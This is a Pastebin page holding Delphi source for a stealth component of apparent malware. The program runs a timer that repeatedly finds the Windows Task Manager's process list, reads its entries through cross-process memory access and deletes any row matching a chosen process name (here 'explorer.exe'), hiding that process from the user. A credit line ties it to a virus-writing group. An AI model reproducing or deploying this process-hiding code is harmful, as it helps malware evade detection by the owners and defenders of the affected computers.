Advertisement
GalliumHaxs

Untitled

Jun 15th, 2019
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 2.67 KB | None | 0 0
  1. PROGRAM Server;
  2.  
  3. USES Windows,CommCtrl;
  4.  
  5.  
  6. VAR
  7. MyTimerHandle:WORD;
  8. MSG:TMSG;
  9.  
  10. FUNCTION MaGChar(CONST S: STRING): STRING; VAR Ch: Char; L: Integer; Source, Dest: PChar;
  11. BEGIN L := Length(S); SetLength(Result, L);  Source := Pointer(S); Dest := Pointer(Result);
  12. WHILE L <> 0 DO BEGIN Ch := Source^; IF (Ch >= 'A') AND (Ch <= 'Z') THEN Inc(Ch, 32); Dest^ := Ch;  Inc(Source); Inc(Dest); Dec(L); END; END;
  13.  
  14. FUNCTION CacheCache(_Processus:STRING):STRING;
  15. VAR  dwSize, dwNumberOfBytes, PID, hProcess:Cardinal; PLocalShared, PSysShared: PlvItem;
  16. wnd: THandle; iCount, i: integer; szTemp: STRING;
  17. BEGIN
  18. wnd                                           :=  FindWindow('#32770', NIL);
  19. wnd                                           := FindWindowEx(wnd, 0, '#32770', NIL);
  20. wnd                                           :=  FindWindowEx(wnd, 0, 'SysListView32',NIL);
  21. iCount                                        := SendMessage(wnd, LVM_GETITEMCOUNT, 0, 0);
  22. FOR i                                         := 0 TO iCount -1 DO
  23. BEGIN
  24. dwSize                                        := SizeOf(LV_ITEM) + SizeOf(CHAR) * MAX_PATH;
  25. pLocalShared                                  := VirtualAlloc(NIL, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
  26. GetWindowThreadProcessID(WND, @PID); hProcess := OpenProcess(PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE, FALSE, PID);
  27. pSysShared                                    := VirtualAllocEx(hProcess, NIL, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE);
  28. pLocalShared.mask                             := LVIF_TEXT;
  29. pLocalShared.iItem                            := 0;
  30. pLocalShared.iSubItem                         := 0;
  31. pLocalShared.pszText                          := LPTSTR(DWord(pSysShared) + SizeOf(LV_ITEM));
  32. pLocalShared.cchTextMax                       := 100; WriteProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
  33. SendMessage(wnd, LVM_GETITEMTEXT, i, LPARAM(pSysShared));
  34. ReadProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
  35. szTemp := PChar(DWord(pLocalShared) + SizeOf(LV_ITEM));
  36. IF Pos(_Processus, MagChar(szTemp)) > 0 THEN
  37. ListView_DeleteItem(wnd, i);
  38. VirtualFree(pLocalShared, 0, MEM_RELEASE);
  39. VirtualFreeEx(hProcess, pSysShared, 0, MEM_RELEASE);
  40. CloseHandle(hProcess);
  41. END;
  42. END;
  43.  
  44. PROCEDURE TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);STDCALL;
  45. BEGIN
  46.     CacheCache('explorer.exe');
  47. END;
  48.  
  49. PROCEDURE StartTimer(Interval:DWORD);
  50. BEGIN
  51.     MyTimerHandle:=SetTimer(0,0,Interval,@TimerProc);
  52. END;
  53.  
  54. BEGIN StartTimer(1);
  55.  
  56. WHILE(GetMessage(Msg,0,0,0))DO
  57. BEGIN TranslateMessage(Msg); DispatchMessage(Msg); END;
  58.  
  59. {Coded By Agent-Hs32-Idir[V-P]}
  60. {MSN : Hs32-Idir@Virus-Products.Hack}
  61.  
  62. END.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement